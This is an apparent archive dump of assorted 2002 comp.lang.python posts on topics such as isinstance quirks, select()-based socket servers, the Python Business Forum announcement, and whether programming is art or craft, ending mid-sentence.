(python bug?) Message-ID: Hi all, I've found a rather unpleasant situation where isinstance(obj,cls)==0, even though obj _is_ indeed a cls() instance. I don't know if this should be considered a bug or just an unavoidable consequence of the circumstances where it happens. As part of my IPython interactive interpreter shell, the system that takes care of displaying results (a simple 'print' in the default case) can look for certain classes. Now consider that interactively I do: >>> from somemodule import someclass >>> s=someclass() >>> s { at this point, the system needs to print the object s } In the printing code, suppose the display() function below is what gets called: from somemodule import someclass ... def display(arg): if isinstance(arg,someclass): print_fancy(arg) else: print arg Well, when 's' above is passed to display(), it fails to identify that s is indeed an instance of someclass(). The reason, I think, is that the interactive code is executed in a separate namespace than the display code, and therefore someclass exists with two different memory addresses. So maybe there's just no way out of the problem. But I think it's a subtle enough 'surprising behavior' that it should at least be mentioned in the docs that 'isinstance(i,c) returns true if i is an instance of class c, except when it gets confused and gives the wrong answer. Use it and hope for the best.' ;) Seriously though, while somewhat particular the circumstances where it fails aren't really that strange, and this failure mode should definitely be documented, if not considered a bug. Cheers, f. From lfernandes at querypro.pt Wed May 15 06:58:48 2002 From: lfernandes at querypro.pt (Luis Fernandes) Date: Wed, 15 May 2002 11:58:48 +0100 Subject: Beginner question Message-ID: Is Python a good language for large database applications? Thanks Luis Fernandes From cbbrowne at acm.org Fri May 3 13:00:50 2002 From: cbbrowne at acm.org (Christopher Browne) Date: 3 May 2002 17:00:50 GMT Subject: Python vs. Perl, which is better to learn? References: <82znzjsw6k.fsf@acropolis.localdomain> <6bdA8.54737$Au5.4014@atlpnn01.usenetserver.com> Message-ID: In the last exciting episode, pinard at iro.umontreal.ca (Fran?ois Pinard) wrote:: > [Christopher Browne] > >> PL/1 was certainly pegged as the successor to both COBOL and FORTRAN; > > And of Algol-60, simulation languages, and a few others, with an interface > giving more access to the underlying operating system than usual in that era. > It was a common joke at the time that PL/I enthusiasts all had dilated eyes, > nervous addicted bodies, and were repeating "More... more..." to no end! :-) PL/1 was evidently _vastly_ superior to C++, by the way; after all, what important operating systems ever got implemented in C++? In comparison, the first OS implemented in a high level language was Multics, in PL/1, and people are still cribbing features from Multics to this day... -- (concatenate 'string "cbbrowne" "@acm.org") http://www.ntlug.org/~cbbrowne/multics.html Points are awarded for getting the last word in. Drawing the conversation out so long that the original message disappears due to being indented off the right hand edge of the screen is one way to do this. Another is to imply that anyone replying further is a hopeless cretin and is wasting everyone's valuable time. -- from the Symbolics Guidelines for Sending Mail From peter at engcorp.com Thu May 16 10:48:51 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 16 May 2002 10:48:51 -0400 Subject: which db should I use? References: <5oonba.f4l.ln@127.0.0.1> <5asvba.8ha.ln@217.11.196.198> Message-ID: <3CE3C6D3.A94E7629@engcorp.com> Tino Lange wrote: > > >> Firebird database > >> A Python interface is available, of course, > Hi! > > Where can I find that Python interface? Hmmm, didn't Google work this time? http://www.google.com/search?q=python+firebird+database -Peter From irmen at USENET_NOSPAM_REMOVETHISxs4all.nl Sun May 26 07:29:34 2002 From: irmen at USENET_NOSPAM_REMOVETHISxs4all.nl (Irmen de Jong) Date: Sun, 26 May 2002 13:29:34 +0200 Subject: Sockets/select: how to deal with multiple connections in threads? Message-ID: Hi, I have something that works for now, but I'd like your advice & ideas. I have a socket server that has to deal with multiple concurrent connections. (FYI, the SocketServer module is not appropriate). What I'm currently doing is the following: main loop uses select() on the current connection list. if a new connection arrives, add this new socket to the connection list. if data is available on a socket, spawn a new thread to read the data. There are some subtleties: If I don't remove the socket from the connection list while the thread is reading the data, the select() in the main loop keeps on returing with that socket (probably to be expected, because the thread hasn't read all data yet, so the socket is still ready for reading). So what I do, just before spawning the thread, I remove the socket from the connection list. The thread adds it back to the list when it has read all data. Next time around, the select() in the main loop will also wait on that socket again. Problems arise, because even though the thread has added the socket back to the connection list, the select() in the main loop is still waiting on the *old* list, that hasn't got the socket! My app blocks! Adding a timeout to the select fixes things, but introduces an unwanted delay between socket activity (only after ~delay/2 the select() times out and reenters the loop with the new connection list). My solution is currently to have *another* server socket, and a loopback socket to that socket. The select() will wait on this 'signal' server socket too. The thread will write a character to the loopback socket, and so the select() in the main loop breaks and my cycle continues. I'm not too happy with this solution. Who has a better idea? What is usually done to abort a select()? (has to work on Windows too) Thanks!!! Irmen de Jong PS example code below: #! /usr/bin/env python import sys from socket import * import select from threading import Thread import signal def read(c,conns,s): print 'READING FROM',c.getpeername() m='' while len(m)<10: d=c.recv(10) if not d: print 'connection lost' return else: m+=d print ' GOT :',m conns.append(c) s.send("!") # signal to break select() def main(): port = int(eval(sys.argv[1])) # create server socket 's' s = socket(AF_INET, SOCK_STREAM) s.bind(('', port)) s.listen(1) # create signal socket to break select() ssock=socket(AF_INET,SOCK_STREAM) ssock.bind(('',port+1)) ssock.listen(1) sigsock=socket(AF_INET,SOCK_STREAM) sigsock.connect(ssock.getsockname()) sigssock,foo = ssock.accept() conns=[s,sigssock] while 1: ins,outs,exs=select.select(conns,[],[]) if ins: print 'GOT INS',ins if sigssock in ins: print 'SIGNAL!' ins.remove(sigssock) sigssock.recv(10) # ignore any data if s in ins: conn, addr = s.accept() print 'connected by', addr conns.append(conn) ins.remove(s) for c in ins: conns.remove(c) Thread(target=read, args=(c,conns,sigsock)).start() if __name__=='__main__': main() From jwbaxter at spamcop.net Thu May 23 11:29:51 2002 From: jwbaxter at spamcop.net (John Baxter) Date: Thu, 23 May 2002 08:29:51 -0700 Subject: How Are Unlimited Precision Integers Accomplished? References: Message-ID: In article , zephinilium at yahoo.com (Uncle_Alias) wrote: > I was playing around with computing powers of 2 the other night, and > was watching Python spit out numbers. When I tested the output by > dividing it by 2 repeatedly, it seemed to be accurate and not a > rounded out number. This is amazing to me that it can calculate > integers to unlimited precision. How is this done? (Please keep the > explanation simple, for I am a mere amateur coder). You're using the terms as commonly used. However... I don't think it's "unlimited precision;" I think it's "unlimited magnitude without loss of precision". (And of course, it's not unlimited, unless your hardware supports spilling memory contents to disk and plugging in more disks forever, or some other fanciful memory extension tricks. Just "so big I don't care about the limit.") Tune in next week for my comments about monitor "resolution." ;-) --John From ianb at colorstudy.com Wed May 29 18:16:41 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 29 May 2002 17:16:41 -0500 Subject: inbetween cPickle and MySQL In-Reply-To: <20020529094634.GB31649@matijek.plusseven.com> References: <20020529094634.GB31649@matijek.plusseven.com> Message-ID: <1022710601.10680.1358.camel@localhost> > >From my perl days I remeber some sort of "hash on a file"-thingy, that > struck a middle ground between pickle and a full blow database. Is > there anything like that in Python? You're thinking of databases like dbm, gdb, etc. anydbm provides an interface to a couple of these, and shelve uses these as a backend. Ian From tmjanick at ra.rockwell.com Wed May 1 14:11:01 2002 From: tmjanick at ra.rockwell.com (Tim Janick) Date: 1 May 2002 11:11:01 -0700 Subject: Socket packet timing on Windows 2000 Message-ID: I've implemented a TCP/IP server using socket, on a Windows 2000 machine, and would like to get an accurate timestamp indicating when the last packet was recieved. I would like to get the accuracy in the msec range. I looked at SIOCGSTAMP in ioctl, but that does not appear to be supported by windows. any ideas ? From tjreedy at udel.edu Wed May 1 12:19:08 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 01 May 2002 16:19:08 GMT Subject: os.environ.copy()['COPY_HUH'] = "not really" References: <20020430152022.I17488@unpythonic.net> <20020430184231.C30307@ibook.distro.conectiva> Message-ID: <0AUz8.25621$Lj.1995635@bin4.nnrp.aus1.giganews.com> "Alex Martelli" wrote in message news:eCTz8.85568$vF6.2548577 at news2.tin.it... > Terry Reedy wrote: > ... > > Perhaps os._Environ should have a .dict() method (if is does not now) > > to do the conversion. > > dict(os.environ) seems a better solution to me. It's a general way to > make a dictionary from any generic mapping, after all. I thought of this and would agree if dict knows how to handle an os._Environ object, but I don't know if it does and am not prepared to test at the moment. TJR From skip at pobox.com Fri May 31 15:50:26 2002 From: skip at pobox.com (Skip Montanaro) Date: Fri, 31 May 2002 14:50:26 -0500 Subject: semi-concatenated strings In-Reply-To: References: Message-ID: <15607.54274.245938.266517@12-248-41-177.client.attbi.com> '%s' 'x' % (5) vs. '%s' + 'x' % (5) Grant> So it looks like the implicit "+" operator has a higher Grant> precedence than the explicit "+" operator. Minor semantic point here. Since the string concatenation is performed by the compiler, not at runtime, it's probably not correct to call the first form an implicit "+" operator. Nothing happens at runtime to squash the two strings together. If you inspect the code object you can see this: >>> def f(): ... '%s' 'x' % (5,) ... >>> f.func_code.co_consts (None, '%sx', 5) Skip From phd at phd.pp.ru Tue May 14 11:24:23 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 14 May 2002 19:24:23 +0400 Subject: OT: Crazy Programming In-Reply-To: <3CE1287B.7060703@mxm.dk>; from maxm@mxm.dk on Tue, May 14, 2002 at 05:08:43PM +0200 References: <87offlnq3k.fsf@mathdogs.com> <9LJD8.34714$CN3.1229512@news2.tin.it> <3CE05339.6660B6BA@engcorp.com> <3CE0FB1D.C427F4E3@engcorp.com> <3CE1287B.7060703@mxm.dk> Message-ID: <20020514192423.A368@phd.pp.ru> On Tue, May 14, 2002 at 05:08:43PM +0200, Max M wrote: > Programming is, like cooking, not an art but a craft. Exactly like cooking, programming is both art and a craft. Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From skip at pobox.com Thu May 23 16:41:07 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 23 May 2002 15:41:07 -0500 Subject: multithreading In-Reply-To: <20020523132158.3334e70b.logiplexsoftware@earthlink.net> References: <3ce7e613$0$3732@echo-01.iinet.net.au> <87sn4n6gz9.fsf@kursk.kassube.de> <20020523132158.3334e70b.logiplexsoftware@earthlink.net> Message-ID: <15597.21475.833600.532824@12-248-41-177.client.attbi.com> >> > Can anyone point me to a useful tutorial on multithreading? >> One advice: Avoid multithreading like the plague. Cliff> I think this is a bit of an overstatement. Many problems are Cliff> best expressed as multithreaded programs. I agree. I have an xml-rpc server that was single-threaded for several years. I always meant to multi-thread it, but I feared introducing instability in the server. When I finally bit the bullet I discovered it wasn't all that difficult. You have to exercise care to make sure all your shared objects are protected by locks or are contained in Queue objects. You may also have to internally cap the number of active threads. For example, my xml-rpc server creates a thread to handle each connection. The number of threads is proportional to the number of requests coming into the websites it serves. The number of active threads is effectively capped by a Queue object which contains a set of cached MySQLdb connection objects. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills required" - seen on chi.jobs From loewis at informatik.hu-berlin.de Mon May 13 08:53:23 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 13 May 2002 14:53:23 +0200 Subject: Comment on PEP 263 - Defining Python Source Code Encodings References: <873cwyg7dj.fsf@tleepslib.sk.tsukuba.ac.jp> <878z6obodl.fsf@tleepslib.sk.tsukuba.ac.jp> <87k7q8l6xt.fsf@tleepslib.sk.tsukuba.ac.jp> Message-ID: "Stephen J. Turnbull" writes: > Martin> Sure, but Python should allow to implement such > Martin> interapplication communication, so application programmers > Martin> need a way to emit them. > > What's wrong with `f.write("codecs.BOM")'? That works for writing it. How do you write an application that reads data in differing endiannesses? > Well, the current implementation (2.1.3, anyway) cannot be considered > "support", as it handles appends incorrectly. See my other post or > bug #555360. And I still don't see Python internal string conversion > as _interapplication_ communication. The string conversion is not "internal": it is the conversion between a byte string and a character string. Whether you use this conversion or not is your choice. Regards, Martin From gdemmy at layton-graphics.com Thu May 9 15:31:39 2002 From: gdemmy at layton-graphics.com (George Demmy) Date: 09 May 2002 15:31:39 -0400 Subject: Great Works? (was Re: Hello Newb here) References: <_ujC8.155$wG1.137@nwrddc04.gnilink.net> Message-ID: Cliff Wells writes: > On Thu, 09 May 2002 02:18:42 +0100 > Gon?alo Rodrigues wrote: > > > On Thu, 09 May 2002 00:35:06 GMT, "Ray Tux" > > wrote: > > > > >Hello im new to programming i started to learn c++, but turned out to be > > >way too hard. So i thought I would learn Python. > > > [ SNIP ] > Even a genius can remain a poor programmer for many years. IMO, how > long it will take to become a _good_ programmer depends far more > upon the person's interest in programming itself (especially the > aesthetics of elegant design). Righto! *Especially* the aesthetics of elegant design. > > But since you said that C++ was too hard that does not seem to be > > the case. Anyway there is reallly only one method to be a good > > programmer: read tutorials + program + read some books + program + > > read other people's code + program + ... You get the idea. > > Especially "read other people's code". While this can be difficult > (often one of my least favorite tasks), so much can be learned this > way (both about what is right and what is wrong) that it is > indispensable. Probably the easiest code to digest would be > fragments posted to this list and perhaps magazine articles (where > the code can be expected to be of a fairly high quality and the > reasoning behind the implementation well documented). You might > consider porting example code written in other languages (possibly > from magazine articles) to Python as this will undoubtedly push you > into new areas of the library and the language. Interesting points! For me, one of the unpleasant parts of reading other peoples code is finding good code to read. Wading through cruft to get to the good bits. What's worse, when you're just starting out, it's hard to know what's cruft and what's not. Too bad there isn't a "great works" collection for Python (and other languages as well). Great works as defined here is *different* than design recipies or patterns or a cookbook. It's fairly easy to capture "Pythonic idioms" in code snippets, but not so easy to capture "What's a good way to organize a program?" These types of questions are recursive with no terminating case... So it's nice to have: *This* is a well organized program, beautifully written. Read it an tell me why... Any suggestions for the "Great Works" list? G From ChrisE at lantech.com Wed May 15 09:54:07 2002 From: ChrisE at lantech.com (Christopher Encapera) Date: Wed, 15 May 2002 09:54:07 -0400 Subject: OT: Crazy Programming Message-ID: > > This is exactly right, and it is an important point. As long as programs > > continue to be essentially "hand-crafted", we will never be able to build > > reliable large systems. Only when programming ceases to be art and moves > > into the realm of engineering -- like building a bridge or a building -- > > will we get the reliability that we really need in order to create the > > large systems that the twenty-first century demands. > >You appear to have mistaken Art for Handicrafts. All things which are >designed are Arts. Being an art (or being a craft for that matter) has >nothing to do with whether something is unreliable. There is a great >deal of prejudice between 'Artists who hate Technology' and 'Technologists >who hate Art', but at the top level of the profession -- you do both. >Laura Creighton Well said. I think one should keep in mind though the difference between art and art. If you mean the art that sits in front of many of our institutions ("modern" art) and the like, it deserves our universal condemnation, and indeed our deep hatred ;) If you however mean art, as in the art of cooking, or the martial arts, then of course we should not shy away from calling programming (or engineering) an art. In my opinion, the art is found not only at the top level, but at the very beginning. If python has anything to do with art, however, then I am deeply offended, and will unsubscribe to this list immediately and never program again...:) -- http://mail.python.org/mailman/listinfo/python-list From andy at reportlab.com Fri May 10 21:04:39 2002 From: andy at reportlab.com (Andy Robinson) Date: Sat, 11 May 2002 02:04:39 +0100 Subject: Introducing the Python Business Forum Message-ID: We would like to take this opportunity to introduce you to the Python Business Forum. Recent discussion among the leaders of a number of businesses which develop using the Python programming language has found a business case for closer collaboration. A more formal organisation was indicated. Thus was born the Python Business Forum: a trade organisation set up to coordinate official formal business of the Python Business Community. The PBF has a webpage, currently: http://pbf.nuxeo.org/ where you can find: a) the minutes of the formation of the PBF b) the board minutes of the PBF and c) (the good part) the Bylaws of the PBF. In addition, a partial list of Projects already planned by the PBF will be arriving as soon as each Special Interest Group has selected its own Chairman. Membership pre-requisites, and instructions on how to join are found there also. In the hopes that it will encourage membership in the PBF, we hereby present the 'preemptive FAQ'. This is simply a the list of questions and answers that we expect people will ask us. The FAQ currently lives here: We will, of course, update it with answers as we get real questions, frequently asked or not. Laura Creighton Secretary, PBF --------------------------------------------------------------------------- Q1: What are some projects currently in the scope of the PBF? A1.a -- Creating build and test farms and maintaining a stable business release of Python A problem that faces many of us is the certification of the Python distribution on different platforms, and the certification of our products with the Python distribution of different platforms. Through the PBF we could share the hardware and personnel needed to maintain a range of platforms that would be very expensive for each one of us to keep in operation. The current 6 month release cycle that Guido van Rossum and the Python development team prefers is far too quick for most businesses to keep up with. It puts undue strain on a company to re-certify your products every 6 months and your customers get unhappy if you make them upgrade too frequently. It also means that there are multiple candidates for "best version to install" at one single time. Note that some businesses don't find it a problem, but at least 75% of those we have spoken with do. The consensus is that an 18 month release cycle would be better, for business. But this release cycle is far too sluggish for language developers. Their needs are for quick release cycles with freqent changes and constant testing. This attracts the bright, young developers and avoids the problem of 'force-feeding the Python' in order to make a release date, then idling for months. But the more releases one has, the harder it is to make sure that crucial bug fixes are ported to an increasing number of release candidates. The current process requires a hero, who needs things so badly himself that he is willing to do whatever it takes to get a bug-fix release of whatever version out the door. We can improve on this process. But, it falls on us, the Business Community, to make sure that we have something that is stable and which sends a single, uniform signal to the market. This means that we need to backpatch bugfixes and significant performance improvements from the development release of Python to the business release and certify it on a wide range of platforms. We may also want to backport new features that do not break any code. For the core language, this is a sensitive issue, which should require a strong consensus before anything is done, while for libraries it is much less sensitive though of greater importance to some of us - 'service packs' are quite possible. GvR has agreed to flagging such a release and sending such market signals. He would designate 2.x.y as "the release that wears-a-Tie, as endorsed by the Python Business Forum members....". In return, he wants us to take on the burden of backporting any critical fixes; and is keen on the idea of a build farm where pythonlabs' code can be tested against a wide variety of real world apps and extensions, as well as the Python test suite. We have already located a superb resource with over 30 Unix machines to use as the build-and-test farm for Python, which we dub the "Snake Farm". A Separate Snake Farm document will be released early next week (week 20 of 2002). ------------- Status: SiG established. Chairman Laura Creighton A1.b -- Creating a network of agents There is a business case for using other companies that rely on Python as agents for your products and services. Most of our companies are small, with few resources to reach an international market. By co-operating we can all extend our markets without heavy investment. The fact that we are all using Python should make us all able to explain why the underlying technology makes the products we are selling better. We also have the base knowledge to provide additional services and consultancy to our local customers. This limits the need for transfer of know-how to the product itself. ------------- Status: A1.c -- Creating a Consulting and Referral Network of Resources Some of us have the problem of having more business than we can handle, while others have idle resources, or would like to use some of our resources for generating short term revenue in conjunction with working on development that produces revenue in a longer perspective. The PBF would provide a forum where requests and availability could be announced, with reasonable confidentiality. ------------- Status: A1.d -- Escrow and Contract Services The PBF has a bank account and a professional accountant. When dealing with small businesses or with governments there is a significant risk of non- or late payment; likewise small consultants find difficulty in receiving work because their potential clients worry that the work may be unsatisfactory. The PBF will provide an escrow service so that vendors can insist a deposit is paid before starting work, to be paid out under agreed conditions. ------------- Status: A1.e -- Providing the group of companies a better media profile Most of us are small companies with little attractiveness to journalists. Python and the Python community also lack the factors that make media want to talk about us. A commercial organisation that stands behind an OpenSource language would be something new and interesting to report on. By managing this initial news value well, we can then build a lasting media interest for Python as well as our companies and products. Once the productivity advantages of Python are made clear to the general press (as opposed to the computer press), they will need success stories to exemplify why Python works so well. ------------- Status: A1.f -- Organising business-oriented conferences There is considerable interest from various government bodies as well as from large corporations in leveraging the advantages that using OpenSource bring. However, we are usually too small as individual companies to get the big organisations to listen to us. By arranging conferences where we mix the presentation of our individual products with presentations on the principles of how OpenSource works and why Python is a great development language, we can attract decision-makers from these organisations, thereby giving us the chance of conducting business with them directly, as well as creating the base-knowledge of our existance, a prerequisite for getting any big contracts at all. Examples of groups that we would like to target with such conferences are various offices of the EU Commission, Central Government Agencies across Europe and the largest corporations in industry, finance and transport. ------------- Status: A1.g -- Training We hope to kick off a series of reputable Python training courses around Europe. ------------- Status: Want more? Join the PBF and form your own SIG. ------------- Q2. -- Why Now? A2. Because the time is right. The Forum's founder members have long experience in the software industry and are determined to create a professional organisation which grows the commercial market for Python software. Q3. -- Come Again? I didn't understand the last part. A3. Ok, we will now attempt to answer both in the dialect of English used by business, and annotated in the dialect used by hackers. Here's the hacker for Q2. < The Timbot suggested that if the business community was unhappy it could jolly well do something other than complain. The first thing we did was organise. > Q4. -- This looks like a European Organisation to me. Correct? The initial focus is European, for efficiency because the founding companies are located there, but this is a full-fledged international organization. Local regional sub-networks of the PBF are encouraged. < Trying to get tons of work done when your members are spread over the globe is a real pain. We've done it. Every time you need consensus, somebody is bound to be asleep. Unless you have tremendous discipline, your schedules slip. We know how to run international projects with members in various time zones, but the core team does not want to commit itself this way right now. > Q5. -- Why isn't the PSF doing this? The PSF is a developers group, which is concerned about the integrity of the Python Language, which is an entirely different function. It is likely that many companies will be members of both organizations. < We all want better Pythons, but we are bringing a completely different skill-set to the mix. We want different things, and know how to get them. We don't want to discuss nerdy things here, but rather things that bore nerds to tears. Trust me on this one -- if the phrase 'marginal product' causes you to think 'badly made junk' and not 'the rate at which output increases as the quantity of that input increases, all other inputs held constant', then you probably do not wish to be the representative that your company selects for the PBF. Conversely, we do not want to be involved with the technical decisions about the design of Python. We don't care. You give us a Python, and we will make a Python-in-a-Tie out of it, and that's all. Hacker-PBF members will have to leave their propeller-hats at the door before arriving for our meeting, because if the talk gets technical, we will declare such chatter out-of-order and resume with the issue at hand. > Q6. -- Isn't this a bit formal? No. It's _extremely_ formal. Q7. -- Why did you form the PBF before announcing it? We are results-driven, commercial enterprises. We consider the forming of the society as a formality. The things of real interest will be happening in the SIGs. < If we had done that, the debate about whether to do this would _still_ be going on!> Q8. Won't this hurt ActiveState and other companies reselling Python? No. The only thing that will change is that they will have a Python which has been tested on more platforms to start out with. Indeed, they will be free to spend more time in the creative efforts which results in product differentiation, and less on that necessary but tedious work of testing and bug-fixing. Q9. Won't this make more work for Guido and the PythonLabs team? No. < We only got the aggrement with PythonLabs to go ahead with this because we promised them _less_ work, not _more_. > From uwe at rocksport.de Wed May 8 04:53:28 2002 From: uwe at rocksport.de (Uwe Schmitt) Date: 8 May 2002 08:53:28 GMT Subject: python: cross-platform? References: <3CD7F74A.197E5CB8@millfilm.co.uk> Message-ID: Eric Texier wrote: | Is there a guide line for writing cross-platform code in python. I am | dealing with only one os for now but I would like to be sure that I am | using only cross platform code. | Thanks in advance well, i wrote several programs ranging from 10 lines up to 3000 lines, some of them using wxpython for guis, and all worked using linux as well as using windows 2k. most os-specific tasks are wrapped by python such that the programmer does not need to care which os he is using. there a just some libraries such as win32 which has no counterpart in the linux distribution... greetings, uwe. -- Dr. rer. nat. Uwe Schmitt Uwe.Schmitt at num.uni-sb.de Universitaet des Saarlandes Angewandte Mathematik Building 36.1 Room 4.17 PO-Box 151150 D-66041 Saarbruecken Mobile:0177/6806587 Fax:+49(0)681/302-4435 Office:+49(0)681/302-2468 From paul at boddie.net Thu May 16 10:10:11 2002 From: paul at boddie.net (Paul Boddie) Date: 16 May 2002 07:10:11 -0700 Subject: OT: Crazy Programming References: <23891c90.0205130956.6f0436a0@posting.google.com> Message-ID: <23891c90.0205160610.2f7f22c0@posting.google.com> aahz at pythoncraft.com (Aahz) wrote in message news:... > > I'm in the "programming is craft" camp. Any time we write a new > program, there's an element of human interface to consider; that can > never be primarily a function of engineering. But we can all strive to > learn best practices like a cook or woodworker, and we can pick up new > tools as they become available. I agree with you in many respects - the most important thing about working in any industry is to keep up with the best practices in that industry. Really, programming is design, though, if any overloaded or contentious words are to be used. Even in works of industrial design, to take an example, certain artifacts can be considered artistic and even more legitimate than certain recognised kinds of art, despite various movements against industrialisation. Thus, programming should be able to inspire artistic recognition through practices of good design (the most important part of the activity) without resorting to frivolously-decorative coding practices. I can understand people believing that the expression of concepts through a written language can be regarded as literature, but programming languages are somewhat different from natural languages, and it is certainly dubious to want to replicate certain parts of natural languages in computer languages. "Sorry your program didn't do what was expected of it - there's some use of double-entendre in the code, which I thought would make the program much more amusing to read." Paul From brian at sweetapp.com Sat May 18 15:07:34 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Sat, 18 May 2002 12:07:34 -0700 Subject: Newbie: print-to-file-Syntax In-Reply-To: <3CE69A01.C91760AE@textraeume.de> Message-ID: <000501c1fe9f$449e1330$445d4540@Dell2> > PROT=open("c:\\existing_dir\\prot.txt",'w') > PROT.write("Written String") > print >> PROT "Printed String" > print PROT "Printed String" > > PROT.close() The correct syntax is: print >> PROT, "Printed String" > And a second question: > > Is it possible to write: > PROT=None > print... print-to-file-syntax > > Later, I want to print to file, but now I want to print to STDOUT. > The doc says: If the first expression evaluates to None, then sys.stdout > is used as the file for output. If the docs say you can do it, you probably can :-) I would probably write it as: import sys PROT = sys.stdout Cheers, Brian From whisper at oz.net Sat May 11 17:08:09 2002 From: whisper at oz.net (David LeBlanc) Date: Sat, 11 May 2002 14:08:09 -0700 Subject: Where is PyBison? In-Reply-To: <012201c1f8f5$f71be140$02010a0a@suxlap> Message-ID: http://www.activestate.com/PPMPackages/PyPPM/2.2/packages/ has a copy. Dunno if it's the "latest", but it othewise seems to have become one with the parrot. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Andreas Jung > Sent: Saturday, May 11, 2002 7:12 > To: python-list at python.org > Subject: Where is PyBison? > > > I am looking for the latest distribution of PyBison. > However all links are stale. Any ideas where to find a working copy? > > Cheers, > Andreas > > > > -- > http://mail.python.org/mailman/listinfo/python-list From quinn at regurgitate.ugcs.caltech.edu Wed May 22 18:58:52 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 22 May 2002 22:58:52 GMT Subject: slice objects vs. [] References: Message-ID: On 23 May 2002 00:20:53 +0200, Chris Liechti wrote: >that __getitem__ does not work with slices, aplies only built-in types and >subclasses of it. i think this is rooted in the C implementation of those >object (the two methods are still separate there) that might change when >the type/class unification gets further or in Python 3.0. I see no reason why it can't be fixed sooner than that. I'll try the patch route :) >however it works perfectly for user defines classes, as described in the >docs: > >>>> class A: >... def __getitem__(self, item): >... print item >... >>>> a=A() >>>> a[1:2] >slice(1, 2, None) Well, "works perfectly" is an easy goal to achieve if you define it to "prints something on the screen" I'd guess that a large proportion of user defined __getitem__s use the built in list somewhere down the line, and all of those that do not contain code to explicitly support slices will not work with them, even though they could. Unless they try arithmetic or something on the index. From fperez528 at yahoo.com Wed May 22 12:48:23 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Wed, 22 May 2002 10:48:23 -0600 Subject: string module References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: holger krekel wrote: >> > My current development version (requires readline :-) is here: >> > >> > http://home.trillke.net/~hpk/rlcompleter2.py >> > >> > just import it on a pure python installation (with readline available) >> > and play around :-) >> >> Wow, that's a peice of work! > > thanks! it's even better if you apply the one-liner readline-patch 558432 on > sourceforge :-) By the way Holger, have you submitted this patch to the main python-dev people? I _hate_ the normal readline behavior which forces me to backspace every time, I just didn't know fixing it was this simple. But C things that don't become part of the standard distro get ignored by 99% of people, since that is the 99% which doesn't build its own python. For pure python modules it's easier to distribute a replacement, but sine this is a C patch I hope it becomes part of the standard distribution. I'll test the rlcompleter2/ipython merge as soon as I can. Cheers, f From jb at cascade-sys.com Wed May 8 22:36:27 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 08 May 2002 19:36:27 -0700 Subject: Python vs. Perl, which is better to learn? References: <82bsbvl5q1.fsf@acropolis.localdomain> <82adrehag0.fsf@acropolis.localdomain> <821ycqjayi.fsf@acropolis.localdomain> <3CD5F1CC.A65C4AE0@engcorp.com> <3CD77BF0.49C749B2@cascade-sys.com> <3CD8B28B.C610082@engcorp.com> <3CD92111.7060704@mxm.dk> Message-ID: <3CD9E0AB.BA39DE6C@cascade-sys.com> Max M wrote: > James J. Besemer wrote: > > > (c) I don't think I misunderstood or misrepresented your position. You're saying the cases > > are insignificant in number and I respectfully am trying to point out your error. I don't > > see how you can disagree. > > Well ... not to keep flogging a dead horse, but you have only prooved > that you work on problems where Python is not fast enough. And that > there are other people needing all the horsepower they can get. > > What you have failed to show is the ratio between programming problems > that needs the speed of c/c++ and those where Python is fast enough. That's a very interesting point. Please enlighten us: what is the numeric ratio I would have to demonstrate so that the English adjective "many" fairly applies? > As long as we have no hard data it is purely anecdotical evidence, which > is next to useless. I demonstrated that there are "many" exceptions, i.e. that the problem domain is decidedly NOT insignificant. An inteligent person can imagine many more examples than the ones I listed. If you have a compelling argument why that is not the case (instead of empty rhetoric) I'd very much like to hear it. In other words are you seriously saying there are not "many" applications in the world where Python probably would be too slow? Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From kragen at pobox.com Fri May 17 04:01:26 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 17 May 2002 04:01:26 -0400 Subject: OT: Crazy Programming References: <87offlnq3k.fsf@mathdogs.com> <23891c90.0205130956.6f0436a0@posting.google.com> <3d06fae9.0205140451.5ec335b1@posting.google.com> <23891c90.0205150201.6cd8193e@posting.google.com> Message-ID: <83y9ejw6cp.fsf@panacea.canonical.org> paul at boddie.net (Paul Boddie) writes: > In other words, some things have to be prioritised so that the whole > system works as intended. With articles "celebrating" cool hacks, and > the like, it's clear that some people prioritise arguably less > important things (in the context of successful real-world systems) > than others. Yes. For example, the misconception that software must be correct to be useful --- or at least, that correctness is important to real-world success with software --- seems to be quite widespread in some circles. Don't get me wrong --- software is a lot more useful when it works correctly, and some software does have to be correct to be useful. But most people, most of the time, use broken software because it is more attractive than the alternatives. From wweexxsseessssaa at telusplanet.net Sat May 4 09:03:31 2002 From: wweexxsseessssaa at telusplanet.net (John Hall) Date: Sat, 04 May 2002 13:03:31 GMT Subject: Optimizing for binary storage/bit-fiddling References: Message-ID: On Sat, 04 May 2002 12:37:05 GMT, "Thomas Weholt" <2002 at weholt.org> wrote: (Much good stuff snipped for brevity...) >PS! Any good references on very, very simple bit-fiddling ( tutorials etc. ) >would also be highly appreciated. How apposite - I was just pondering such a thing myself. I'm new to Python, and am considering a small app for keeping chunks of text, and being able to search for "word1 AND word2 NOT (word3 OR word4)" etc. Years ago I did this in PL/I on IBM's MVS mainframe, when a 5MB HD was about the size of a laundry spin-dryer, and cost more than a decent car. We needed to use storage economically. It had a word list, where each entry had the word as the key, and a bit-string represented numbers where that word occurred:- Each text item had a sequence number (used as a key) assigned as the item was added, and for each (indexable) word, that bit# was set on, i.e. if "lunch" occurs in textitems 3, 17, 87 & 142, those numbered bits were ON in lunch's bitstring. For searching, the relevant word bit-strings were assembled, and the appropriate AND, OR, NOT etc operations applied. The resulting bit-string represented the textitem keys of the hitlist. PL/I made this bit-twiddling 